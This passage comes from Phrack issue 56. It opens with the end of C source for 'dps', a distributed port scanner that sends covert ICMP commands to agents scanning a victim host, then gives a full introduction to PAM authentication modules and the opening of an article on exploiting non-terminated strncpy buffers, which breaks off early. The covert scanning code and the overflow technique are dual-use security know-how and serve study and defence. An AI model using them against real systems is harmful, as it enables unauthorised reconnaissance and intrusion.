sequence = malloc(strchr(ports, '‑') ‑ ports); memcpy(sequence, ports, strchr(ports, '‑') ‑ ports); begin_port = atoi(sequence);

sequence = malloc(strlen(ports) ‑ (strchr(ports, '‑')‑ports)); memcpy(sequence, strchr(ports, '‑') + 1, strlen(ports) ‑ (strchr(ports, '‑')‑ports)); end_port = atoi(sequence);

for (x = begin_port ; x <= end_port ; x++) {

if (agent‑>next == NULL || x == begin_port) {

agent = first_agent;

}

else

agent = agent‑>next;

if (agent‑>ports == NULL) {

agent‑>ports = malloc(strlen(ports) + 2); memset(agent‑>ports, '\0', strlen(ports) + 2);

}

else {

temp = malloc(strlen(agent‑>ports) + strlen(ports) + 2); memset(temp, '\0', strlen(agent‑>ports) + strlen(ports) + 2); memcpy(temp, agent‑>ports, strlen(agent‑>ports)); free(agent‑>ports);

agent‑>ports = temp;

}

memcpy(agent‑>ports + strlen(agent‑>ports), itoa(x), strlen(ports)); memcpy(agent‑>ports + strlen(agent‑>ports), ",", 1);

}

}

}

else {

agent‑>ports = malloc(strlen(ports) + 2);

memset(agent‑>ports, '\0', strlen(ports) + 2); memcpy(agent‑>ports, ports, strlen(ports)); memcpy(agent‑>ports + strlen(ports), ",", 1);

}

while (ports) {

ports = strtok('\0', ",");

if (ports) {

if (strchr(ports, '‑')) {

seq:

sequence = malloc(strchr(ports, '‑') ‑ ports); memcpy(sequence, ports, strchr(ports, '‑') ‑ ports); begin_port = atoi(sequence);

sequence = malloc(strlen(ports) ‑ (strchr(ports, '‑')‑ports)); memcpy(sequence, strchr(ports, '‑') + 1, strlen(ports) ‑ (strchr(ports, '‑')‑ports)); end_port = atoi(sequence);

for (x = begin_port ; x <= end_port ; x++) {

if (agent‑>next == NULL)

agent = first_agent;

else

agent = agent‑>next;

if (agent‑>ports == NULL) {

agent‑>ports = malloc(strlen(ports) + 2); memset(agent‑>ports, '\0', strlen(ports) + 2);

}

else {

temp = malloc(strlen(agent‑>ports) + strlen(ports) + 2); memset(temp, '\0', strlen(agent‑>ports) + strlen(ports) + 2); memcpy(temp, agent‑>ports, strlen(agent‑>ports)); free(agent‑>ports);

agent‑>ports = temp;

}

memcpy(agent‑>ports + strlen(agent‑>ports), itoa(x), strlen(ports)); memcpy(agent‑>ports + strlen(agent‑>ports), ",", 1);

}

}

else {

if (agent‑>next == NULL)

agent = first_agent;

else

agent = agent‑>next;

if (agent‑>ports == NULL) {

agent‑>ports = malloc(strlen(ports) + 2); memset(agent‑>ports, '\0', strlen(ports) + 2);

}

else {

temp = malloc(strlen(agent‑>ports) + strlen(ports) + 2); memset(temp, '\0', strlen(agent‑>ports) + strlen(ports) + 2); memcpy(temp, agent‑>ports, strlen(agent‑>ports)); free(agent‑>ports);

agent‑>ports = temp;

}

memcpy(agent‑>ports + strlen(agent‑>ports), ports, strlen(ports)); memcpy(agent‑>ports + strlen(agent‑>ports), ",", 1);

}

}

}

#ifdef DEBUG

for (agent = first_agent; agent != NULL; agent = agent‑>next) { printf("%ld ‑> %s\t%p\t%ld\n", agent‑>address, agent‑>ports, agent‑>ports, agent‑>victim); }

#endif

printf("elite\n");

// free(temp);

// free(sequence);

printf("ultra‑elite\n");

if(inject(first_agent, argv[4]) != 1) {

printf("Error in packet injection\n");

}

wait_results(argv[4]);

exit(1);

}

void usage(char *exec) {

printf("dps ‑ lifeline <lifeline@against.org>\n");

printf("%s <target_host> <ports to scan> <agents file> <device>\n", exec); exit(1);

}

<‑‑>

<++> p56/dps/source/clt_packet_injection.c !cbbedc0d

#include <libnet.h>

#include "../include/config.h"

#include "../include/prototypes.h"

#define MAGIC "lifeline"

#define AGENT "doubt"

#define SOURCE "hardbitten"

/*

*

* Packet injection routines.

*

*/

short int inject (struct agentnfo *first_agent, char *dev) {

struct agentnfo *agent;

struct sp_header *head;

int sock, x, c, offset, y;

unsigned int each_p, info_s, packets_n;

char *pload, *buf, *ebuf;

u_long src_ip, dst_ip, cli_addr;

cli_addr = src_ip = htonl(get_ipaddr(NULL, dev, ebuf));

/* dps control header construction */

head = malloc(16);

memset(head, '\0', 16);

memcpy(head, &MAGIC, 8);/* MAGIC string should be no longer than 8 chars */

sock = libnet_open_raw_sock(IPPROTO_RAW);

if (sock == ‑1) return ‑1;

for (agent = first_agent ; agent != NULL ; agent = agent‑>next) { /*

* First let'z take care of our special payload.

*

* ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* | MAGIC |+|R|R|R|R|R|R|R|

* ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* cli_addr | victim_addr | ports_info |

* ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

*/

/* Space available in each packet */

each_p = MAX_ICMP_PAYLOAD_SIZE ‑ 16;

/* Total information size */

info_s = 2*sizeof(u_long) + strlen(agent‑>ports);

/* Calculate the number of packets needed for all the info. */

packets_n = (info_s % each_p ? info_s / each_p + 1 : info_s / each_p);

/* Allocate memory */

pload = malloc(MAX_ICMP_PAYLOAD_SIZE + 1);

memset(pload, '\0', MAX_ICMP_PAYLOAD_SIZE + 1);

buf = malloc(IP_H + ICMP_ECHO_H + MAX_ICMP_PAYLOAD_SIZE + 1); memset(buf, '\0', IP_H + ICMP_ECHO_H + MAX_ICMP_PAYLOAD_SIZE + 1);

dst_ip = agent‑>address;

libnet_build_ip(MAX_ICMP_PAYLOAD_SIZE,

0,

random() % 65535,

0,

32,

IPPROTO_ICMP,

src_ip,

dst_ip,

NULL,

0,

buf);

offset = 0;

for (x = 1 ; x <= packets_n ; x++) {

if (x < packets_n) {

head‑>plus = 1;

memset(pload, '\0', MAX_ICMP_PAYLOAD_SIZE + 1); memcpy(pload, head, 16);

memcpy(pload + 16, agent‑>ports + offset, MAX_ICMP_PAYLOAD_SIZE ‑ 16);

// memcpy(pload + 16, agent‑>ports + offset, strlen(agent‑>ports));

offset =+ (MAX_ICMP_PAYLOAD_SIZE ‑ 16);

}

else {

head‑>plus = 0;

memset(pload, '\0', MAX_ICMP_PAYLOAD_SIZE + 1); memcpy(pload, head, 16);

memcpy(pload + 16, &cli_addr, sizeof(u_long)); memcpy(pload + 16 + sizeof(u_long), &(agent‑>victim), sizeof(u_long)); memcpy(pload + 16 + 2*sizeof(u_long), agent‑>ports + offset, strlen(agent‑>ports));

// memset(pload + 16 + 2*sizeof(u_long) + strlen(agent‑>ports + offset), 'A', MAX_ICMP_PAYLOAD_SIZE ‑ (16 + 2*sizeof(u_long) + strlen(agent‑>ports + offset)));

}

libnet_build_icmp_echo(ICMP_ECHO, 0, 440, 1, NULL, 0, buf + IP_H);

memset(buf + IP_H + ICMP_ECHO_H, '\0', MAX_ICMP_PAYLOAD_SIZE + 1); memcpy(buf + IP_H + ICMP_ECHO_H, pload, MAX_ICMP_PAYLOAD_SIZE);

if (libnet_do_checksum(buf, IPPROTO_ICMP, ICMP_ECHO_H + MAX_ICMP_PAYLOAD_SIZE) == ‑1) { return ‑1;

}

/*

for (y = 0 ; y <= 64 ; y++)

printf("%c", *(buf + 28 + y));

printf("\n");

*/

c = libnet_write_ip(sock, buf, ICMP_ECHO_H + IP_H + MAX_ICMP_PAYLOAD_SIZE); if (c < ICMP_ECHO_H + IP_H + MAX_ICMP_PAYLOAD_SIZE) { printf("Error writing to network\n");

return ‑1;

}

printf("packet sent. %d of %d\n", x, packets_n);

}

}

free(buf);

return 1;

}

<‑‑>

<++> p56/dps/source/clt_wait.c !cd679af6

#include <stdio.h>

#include <stdlib.h>

#include <pcap.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <netinet/ip_icmp.h>

#include <asm/types.h>

#include "../include/config.h"

#include "../include/prototypes.h"

#define SNAPLEN 64

#define ETHHDR 14

/* Global variables */

unsigned int dlink_s;

const u_char *snapend;

int wait_results(char *dev) {

pcap_t *pd;

char *data;

struct pcap_pkthdr h;

struct iphdr *iph;

char *payload;

int x;

if(!dev) {

if(!(dev = pcap_lookupdev(NULL))) {

perror("pcap_lookupdev");

exit(1);

}

}

printf("Using device %s\n", dev);

pd = pcap_open_live(dev, SNAPLEN, 0, 10, NULL);

switch(pcap_datalink(pd)) {

case DLT_EN10MB:

case DLT_IEEE802:

dlink_s = ETHHDR;

break;

case DLT_NULL:

dlink_s = 4;

break;

default:

perror("unknown datalink header");

exit(0);

break;

}

for(;;) {

data = pcap_next(pd, &h);

iph = (struct iphdr *)(data + dlink_s);

if(iph‑>protocol == IPPROTO_ICMP) {

struct icmphdr *icmph = (struct icmphdr *)(data + dlink_s + iph‑>ihl*4); if(icmph‑>type == 8 && icmph‑>code == 0) {

payload = malloc(MAX_ICMP_PAYLOAD_SIZE);

memcpy(payload, data + dlink_s + iph‑>ihl*4 + 8, MAX_ICMP_PAYLOAD_SIZE); if (!(strncmp("araiarai", payload, strlen(MAGIC)))) { memcpy(&x, payload + strlen(MAGIC), sizeof(int)); printf("%d iz open\n", x);

}

}

}

}

}

<‑‑>

<++> p56/dps/source/dps_helper.c !a6720d71

/*

* dps

* ‑‑‑

* helper functions

*

* lifeline

*

*/

char s[];

char *itoa (int n) {

int i, sign, x, y, z;

if ((sign = n) < 0)

n = ‑n;

i = 0;

do {

s[i++] = n % 10 + '0';

} while ((n /= 10) > 0);

if (sign < 0)

s[i++] = '‑';

s[i] = '\0';

for (y = 0, z = strlen(s)‑1 ; y < z ; y++, z‑‑) {

x = s[y];

s[y] = s[z];

s[z] = x;

}

return s;

}

<‑‑>

<++> p56/dps/source/dps_pcap.c !dfe55d3e

#include "../include/dps_pcap.h"

void

dps_pcap_err(char *function, char *error)

{

fprintf(stderr, "%s: %s\n", function, error);

exit (1);

}

pcap_t *

dps_pcap_prep(int snaplen, char *filter, char *device)

{

pcap_t *pd;

bpf_u_int32 localnet, netmask;

struct bpf_program fcode;

if(!device) {

if ((device = pcap_lookupdev(errbuf)) == NULL)

{

dps_pcap_err("pcap_lookupdev", errbuf);

}

}

if ((pd = pcap_open_live(device, snaplen, 1, 500, errbuf)) == NULL) {

dps_pcap_err("pcap_open_live", errbuf);

}

if (pcap_lookupnet(device, &localnet, &netmask, errbuf) == ‑1) {

dps_pcap_err("pcap_lookupnet", errbuf);

}

if (pcap_compile(pd, &fcode, filter, 1, netmask) == ‑1)

{

dps_pcap_err("pcap_compile", errbuf);

}

if (pcap_setfilter(pd, &fcode) == ‑1)

{

dps_pcap_err("pcap_setfilter", errbuf);

}

return (pd);

}

int

dps_pcap_datalink(pcap_t *pd)

{

int offset;

switch (pcap_datalink(pd))

{

/* There'z no such DLT in OpenBSD, I'm changing to NULL, should work

on solaris.

*/

case DLT_NULL:

offset = LOOPBACK_OFFSET;

break;

case DLT_SLIP:

case DLT_PPP:

offset = SLIP_PPP_OFFSET;

break;

case DLT_EN10MB:

default:

offset = ETHERNET_OFFSET;

break;

}

return (offset);

}

void *

dps_pcap_next(pcap_t *pd)

{

void *ptr;

struct pcap_pkthdr hdr;

while ((ptr = (void *)pcap_next(pd, &hdr)) == NULL);

return (ptr);

}

/* EOF */

<‑‑>

|EOF|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Introduction to PAM

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x0d[0x10]

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ INTRODUCTION TO PAM ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Bryan Ericson ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

‑‑‑‑| INTRODUCTION

The Pluggable Authentication Module (PAM) system is a means by which programs can perform services relating to user authentication and account maintenance. The authentication part is usually done through a challenge‑response interaction. Using PAM, an administrator can customize the methods used by authenticating programs without recompilation of those programs.

The PAM system is comprised of four parts. The first part, libpam, is the library which implements the PAM API. The second part is the PAM configuration file, /etc/pam.conf. The third consists of a suite of dynamically loadable binary objects, often called the service modules, which handle the actual work of authentication. The final part is comprised of the system commands which use (or should use) the PAM API, such as login, su, ftp, telnet, etc...

‑‑‑‑| LIBPAM

The authentication routines of the PAM API consist of three primary functions:

pam_start( const char *service_name, const char *username, const struct pam_conv *conv, pam_handle_t **pamh_p );

pam_end( pam_handle_t *pamh, int exit_status );

pam_authenticate( pam_handle_t *pamh, int flags );

The pam_start() and pam_end() functions begin and end a PAM session. The arguments to pam_start() are as follows:

+ service_name: a string specifying a particular service as defined in the pam.conf file (see below)

+ username: the login name of the user to be authenticated

+ conv: a pointer to a pam_conv structure (more on this in a minute)

+ pamh_p: a double pointer to a pam_handle_t structure. The PAM framework will allocate and deallocate the memory for the structure, and an application should never access it directly. It is basically used by the PAM framework to deal with multiple concurrent PAM sessions.

The pam_conv structure looks like this:

struct pam_conv {

int (*conv)(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr); void *appdata_ptr;

}

*conv is a pointer to a function in the application known as the PAM conversation function. It will be discussed below. The appdata_ptr points to application‑specific data, and is not often used.

The pam_end() function's arguments consist of the same pam_handle_t* that was filled in by pam_start(), and an exit status. The exit status is normally PAM_SUCCESS, but can be different in the event of an unsuccessful PAM session. pam_end() will deallocate the memory associated with the pam_handle_t*, and any attempt to re‑use the handle will likely result in a seg fault.

The pam_authenticate() function again consists of the pam_handle_t* filled in by pam_start(), and optional flags that can be passed to the framework.

Some other functions in the PAM API available to applications are as follows (consult your system's documentation for a complete description of its PAM API):

+ pam_set_item() ‑ write state information for PAM session

+ pam_get_item() ‑ retrieve state information for PAM session

+ pam_acct_mgmt() ‑ checks whether the current user's account is valid

+ pam_open_session() ‑ begin a new session

+ pam_close_session() ‑ close current session

+ pam_setcred() ‑ manage user credentials

+ pam_chauthtok() ‑ change user's authentication token

+ pam_strerror() ‑ returns an error string, similar to perror()

‑‑‑‑| PAM.CONF

The PAM configuration file is usually located in /etc/pam.conf. It is divided into four sections: authentication, account management, session management, and password management. A typical line looks like this:

login auth required /usr/lib/security/pam_unix.so.1 try_first_pass

The first field is the service name. This is the service referred to in the first argument to pam_start(). If the service requested by pam_start() is not listed in pam.conf, the default service "other" will be used. Other service names might be "su" and "rlogin". If the service name is specified more than once, the modules are said to be "stacked", and the behavior of the framework will be determined by the value of the third field, as discussed below.

The second field denotes what action this particular service will perform. The valid values are "auth" for authentication, "account" for account management, "session" for session management, and "password" for password management. Not all applications will need to access every action. For example, su will need only to access the "auth" action, while "passwd" should need only the "password" action.

The third field is known as the control field, and will require some discussion. It indicates the behavior of the PAM framework if the user should fail the authentication. Valid values for this field are "requisite", "required", "sufficient", and "optional":

+ "requisite" means that if the user fails authentication for this particular module, the framework will immediately return a failure, and no other modules will be invoked.

+ "required" denotes that if a user fails authentication, the framework will return a failure only after all other modules have been invoked. This is done so that the user will not know for which module authentication was denied. For a user to successfully authenticate, all "required" modules have to return success.

+ "optional" means that the user will be allowed access even if authentication fails. In the event of failure, the next module on the stack will be processed.

+ "sufficient" means that if a user passes this particular module, the framework will immediately return success, even if subsequent modules have "requisite" or "required" control values. Like "optional", "sufficient" will allow access even if authentication fails.

Note that if any module returns success, the user will succeed authentication with the only exception being if the user previously failed to authenticate with a "required" module.

The fourth field in pam.conf is the path to the authentication module. The path can differ between systems. For example, the PAM modules are located in /usr/lib in the Linux‑PAM implementation, while Solaris maintains the modules in /usr/lib/security.

The fifth field is a space‑separated list of module‑dependent options, which are passed to the authentication module whenever it is invoked. Consult the specific module's man page for details.

‑‑‑‑| MODULES

Each PAM module is essentially a library which must export specified functions. These functions are called by the PAM framework. The functions exported by the library are:

+ pam_sm_authenticate()

+ pam_sm_setcred()

+ pam_sm_acct_mgmt()

+ pam_sm_open_session()

+ pam_sm_close_session()

+ pam_sm_chauthtok()

If an implementer decides not to support a particular action within a module, the module should return PAM_SUCCESS for that action. For example, if a module is not designed to support account management, the pam_sm_acct_mgmt() function should simply return PAM_SUCCESS.

The declaration for pam_sm_authenticate() is as follows:

extern int pam_sm_authenticate( pam_handle_t *pamh, int flags, int argc, char **argv);

where pamh is a pointer to a PAM handle which has been filled in by the framework, flags is the set of flags passed to the framework by the application's call to pam_authenticate(), and argc and argv are the number and values of the optional arguments for this service in pam.conf.

A simple pam_sm_authenticate() for the pam_unix module might look like this:

#include <security/pam_modules.h>

#include <...>

extern int

pam_sm_authenticate( pam_handle_t *pamh, int flgs, int c, char **v ) {

char *user;

char *passwd;

struct passwd *pwd;

int ret;

/* ignore flags and optional arguments */

if ( (ret = pam_get_user( ..., &user )) != PAM_SUCCESS ) return ret;

if ( (ret = pam_get_pass( ..., &passwd )) != PAM_SUCCESS ) return ret;

if ( (pwd = getpwnam(user)) != NULL ) {

if ( !strcmp(pwd‑>pw_passwd, crypt(passwd)) ) return PAM_SUCCESS;

else

return PAM_AUTH_ERR;

}

return PAM_AUTH_ERR;

}

Of course, this function is grossly oversimplified, but it demonstrates the basic functionality of pam_sm_authenticate(). It retrieves the user's login name and password from the framework, then retrieves the user's encrypted password, and finally calls crypt() on the user's password and compares the result with the encrypted system password. Success or failure is determined on this comparison. The functions pam_get_*() are calls to the framework, and may not have the same declaration between implementations.

‑‑‑‑| THE APPLICATION

A PAM application is fairly simple to implement. The portions that deal with PAM must consist of a pam_start() and pam_end() pair, and a PAM conversation function. Fortunately, the user‑space PAM API is well‑defined and stable, and so the conversation function will pretty much be boilerplate code (at least for a command‑line application). A simple implementation of su might look like this:

#include <security/pam_appl.h>

#include <...>

int su_conv(int, const struct pam_message **,

struct pam_response **, void *);

static struct pam_conv pam_conv = { su_conv, NULL };

int

main( int argc, char **argv )

{

pam_handle_t *pamh;

int ret;

struct passwd *pwd;

/* assume arguments are correct and argv[1] is the username */

ret = pam_start("su", argv[1], &pam_conv, &pamh); if ( ret == PAM_SUCCESS )

ret = pam_authenticate(pamh, 0);

if ( ret == PAM_SUCCESS )

ret = pam_acct_mgmt(pamh, 0);

if ( ret == PAM_SUCCESS ) {

if ( (pwd = getpwnam(argv[1])) != NULL ) setuid(pwd‑>pw_uid);

else {

pam_end(pamh, PAM_AUTH_ERR);

exit(1);

}

}

pam_end(pamh, PAM_SUCCESS);

/* return 0 on success, !0 on failure */

return ( ret == PAM_SUCCESS ? 0 : 1 );

}

int

su_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata)

{

struct pam_message *m = *msg;

struct pam_message *r = *resp;

while ( num_msg‑‑ )

{

switch(m‑>msg_style) {

case PAM_PROMPT_ECHO_ON: fprintf(stdout, "%s", m‑>msg); r‑>resp = (char *)malloc(PAM_MAX_RESP_SIZE); fgets(r‑>resp, PAM_MAX_RESP_SIZE‑1, stdin); m++; r++;

break;

case PAM_PROMPT_ECHO_OFF: r‑>resp = getpass(m‑>msg); m++; r++;

break;

case PAM_ERROR_MSG: fprintf(stderr, "%s\n", m‑>msg); m++; r++;

break;

case PAM_TEXT_MSG: fprintf(stdout, "%s\n", m‑>msg); m++; r++;

break;

default:

break;

}

}

return PAM_SUCCESS;

}

The su_conv() function is the conversation function ‑ it allows the module to "converse" with the user. Each pam_message struct has a message style, which indicates what type of data the module wants. The PAM_PROMPT_ECHO_ON and PAM_PROMPT_ECHO_OFF cases indicate that the module needs more information from the user. The prompt used will be supplied by the module. In the case of PAM_PROMPT_ECHO_OFF, the module usually wants a password. It is up to the application to disable echoing of the characters. The *_MSG cases are used for displaying messages on the user's terminal.

The beauty of the PAM conversation is that all of the character‑based output can be replaced with calls to different display systems without changing the authentication module. For example, the getpass() could be replaced with get_gui_passwd() (or whatever) if we want to implement a gui‑based su‑like command.

Note that a real conversation function should be much more robust. Also, the Linux‑PAM implementation supplies the misc_conv() conversation function for command‑line interactions, which should be used if a standard conversation function is all that is required. Finally, it is usually the application's responsibility to free() the memory allocated for the responses.

‑‑‑‑| FUN WITH MODULES

Now that you have a familiarity with PAM, we can briefly discuss custom authentication routines. For example, it is easy to modify our earlier module so that, when authenticating the root user, a second password must be typed:

extern int

pam_sm_authenticate( pam_handle_t *pamh, int flgs, int c, char **v ) {

char *user;

char *passwd;

struct passwd *pwd;

int ret;

/* ignore flags and optional arguments */

if ( (ret = pam_get_user( ..., &user )) != PAM_SUCCESS ) return ret;

if ( (ret = pam_get_pass( ..., &passwd )) != PAM_SUCCESS ) return ret;

if ( (pwd = getpwnam(user)) != NULL ) {

if ( !strcmp(pwd‑>pw_passwd, crypt(passwd)) ) ret = PAM_SUCCESS;

else

ret = PAM_AUTH_ERR;

}

if ( !strcmp(user, "root") ) { pam_display_message("root user must enter secondary password"); if ( (ret = pam_get_pass( ..., &passwd )) != PAM_SUCCESS ) return ret;

if ( !strcmp(get_second_root_pwd(), crypt(passwd)) ) ret = PAM_SUCCESS;

else

ret = PAM_AUTH_ERR;

}

return ret;

}

Here we assume there is a function get_second_root_pwd() which returns some secret encrypted password. Of course, this example is a little silly, but it demonstrates that we can be as free as we want to be when designing our PAM modules. Also, because the modules live in user space, they have access to all library functions. If you have some sort of biometric scanner hooked up to your machine and a library function that can access it, you could write a PAM module that does the following:

thumbprint_t *tp;

tp = scan_thumbprint();

/* or scan_retina() if you like James Bond */

if ( match_print_to_user(tp, user) )

return PAM_SUCCESS;

‑‑‑‑| CONCLUSION

The point is, the PAM modules are not limited to calling crypt() or some similar function on a user's password. You are limited only by what you can think of.

‑‑‑‑| REFERENCES

"Making Login Services Independent of Authentication Technologies". Samar, Vipin and Charlie Lai. http://www.sun.com/software/solaris/pam/pam.external.pdf

"The Linux‑PAM System Administrator's Guide". Morgan, Andrew G. http://www.kernel.org/pub/linux/libs/pam/Linux‑PAM‑html/pam.html

"The Linux‑PAM Module Writers' Guide". Morgan, Andrew G.

http://www.kernel.org/pub/linux/libs/pam/Linux‑PAM‑html/pam_modules.html

"The Linux‑PAM Application Developers' Guide". Morgan, Andrew G.

http://www.kernel.org/pub/linux/libs/pam/Linux‑PAM‑html/pam_appl.html

Linux‑PAM source code from FreeBSD 3.3 source packages. http://www.FreeBSD.org/availability.html

|EOF|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Exploiting Non-adjacent Memory Spaces

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x0e[0x10]

|‑‑‑‑‑‑‑‑‑ TAKING ADVANTAGE OF NON‑TERMINATED ADJACENT MEMORY SPACES ‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ twitch <twitch@vicar.org> ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

‑‑‑‑| Introduction

Because Phrack needs another buffer overflow article, because most of those pesky strcpy()'s have been replaced with strncpys()'s, and because chicks dig shellcode, I present for your benefit yet another buffer overflow technique. Like 'Frame Pointer Overwriting' from P55, this is not the most common of problems, but it does exist, and it is exploitable.

This article details the hazards of non‑terminated buffers (specifically non‑terminated strings), and their potential impact on the security of a application. This issue is discussed from a variety potential situations, culminating with an example exploit which abuses adjacent non‑terminated string buffers together to perform program redirection via a buffer overflow. Like most bugs this is not an unknown problem, however judging from random source browsing, it appears that this is not a widely understood issue.

Incidentally, the example code contains idiosyncratic architectural references and man page excerpts as presented from the point of view of FreeBSD running on the x86 architecture.

Due to popular pleading, the noun 'data' is treated as singular throughout this document, even though that is wrong.

‑‑‑‑| Rehash

If you already know how buffer overflows work (and if you have read any issue of Phrack within the last two years, how could you not?), skip this section.

When a program allocates a buffer, then copies arbitrary data into this buffer, it must ensure that there is enough room for everything that is being copied. If there is more data than there is allocated memory, all data could still be copied, but past the end of the designated buffer and random, most likely quite important, data will be overwritten. It's all really quite rude. If the data being copied is supplied by the user, the user can do malevolent things like change the value of variables, redirect program execution, etc. A common overflow will look like this:

void func(char *userdata)

{

char buf[256];

...

strcpy(buf, userdata);

...

}

The programmer assumes that the data being copied will surely be less than 256 bytes and will fit snugly into the supplied buffer. Unfortunately, since the data being copied is user‑supplied, it could be damned near anything and of any size. The function strcpy() will continue copying bytes from *userdata until a NULL is found, so any data past 256 bytes will overflow.

So, in an effort to keep mean people from abusing their software, programmers will make sure that they only copy as much data as there is buffer space. To accomplish this task, they will normally do something to this effect:

void func(char *userdata)

{

char buf[256];

...

strncpy(buf, userdata, 256);

...

}

strncpy() will only copy as many bytes as are specified. So in the above, the maximum amount of data that is ever copied is 256 bytes, and nothing is overwritten (note that the above code snippet exemplifies the problem discussed below).

For a far superior explanation of buffer overruns, program redirection, and smashing the stack for fun and profit, consult the article of the same name as the latter in P49‑10.

‑‑‑‑| Pith

The essence of the issue is that many functions that a programmer may take to be safe and/or 'magic bullets' against buffer overflows do not automatically terminate strings/buffers with a NULL. That in actuality, the buffer size argument provided to these functions is an absolute size‑ not the size of the string. To put a finer point on it, an excerpt from the strncpy() man page:

char *

strncpy(char *dst, const char *src, size_t len)

...

The strncpy() copies not more than len characters into dst, appending `\0' characters if src is less than len characters long, and _not_+ terminating dst if src is more than len characters long.

...

+(underline present in the source)

To understand the ramifications of this, consider the case of two automatic character arrays, allocated thusly:

char buf1[8];

char buf2[4];

The compiler is most likely going to place these two buffers _next_ to each other on the stack. Now, consider the stack for the above:

Upper

Memory

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [Top of the stack]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ buf2 ‑ 0 ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ buf2 ‑ 1 ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ buf2 ‑ 2 ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ buf2 ‑ 3 ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ buf1 ‑ 0 ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ buf1 ‑ 1 ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ buf1 ‑ 2 ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ buf1 ‑ 3 ]

|| ...

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ buf1 ‑ 7 ]

||

|| ...

\/

[ Remember that the stack grows down on our example architecture (and probably yours, too), so the above diagram looks upside down ]

Thus, if a programmer were to do the following:

void

func()

{

char buf1[8];

char buf2[4];

fgets(buf1, 8, stdin);

strncpy(buf2, buf1, 4);

}

Assuming that the user entered the string 'iceburn', after the strncpy() the stack would look like this:

Upper

Memory

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [Top of the stack]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ 'i' (buf2 ‑ 0) ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ 'c' (buf2 ‑ 1) ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ 'e' (buf2 ‑ 2) ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ 'b' (buf2 ‑ 3) ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ 'i' (buf1 ‑ 0) ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ 'c' (buf1 ‑ 1) ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ 'e' (buf1 ‑ 2) ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ 'b' (buf1 ‑ 3) ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ 'u' (buf1 ‑ 4) ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ 'r' (buf1 ‑ 5) ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ 'n' (buf1 ‑ 6) ]

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [ 0x00 (buf1 ‑ 7) ]

||

|| ...

\/

We know from the man page that even though strncpy() is not going to copy more than 4 bytes. But since the src string is longer than 4 bytes, it will not null‑terminate either. Thus, strlen(buf2) is now 11, even though sizeof(buf2) is 4. This is not an overflow, as no data beyond the boundaries of the allocated space have been overwritten. However, it does establish a peculiar situation. For instance, the result of

printf("You entered: %s\n", buf2);

would produce the following:

You entered: icebiceburn

Not exactly the intent.

‑‑‑‑| Apparition

This problem surfaces in the real world in seemingly benign and arcane ways. The following is from syslogd.c on FreeBSD 3.2‑RELEASE:

/*

* Validate that the remote peer has permission to log to us. */

int

validate(sin, hname)

struct sockaddr_in *sin;

const char *hname;

{

int i;

size_t l1, l2;

char *cp, name[MAXHOSTNAMELEN];

struct allowedpeer *ap;

if (NumAllowed == 0)

/* traditional behaviour, allow everything */

return 1;

strncpy(name, hname, sizeof name);

if (strchr(name, '.') == NULL) {

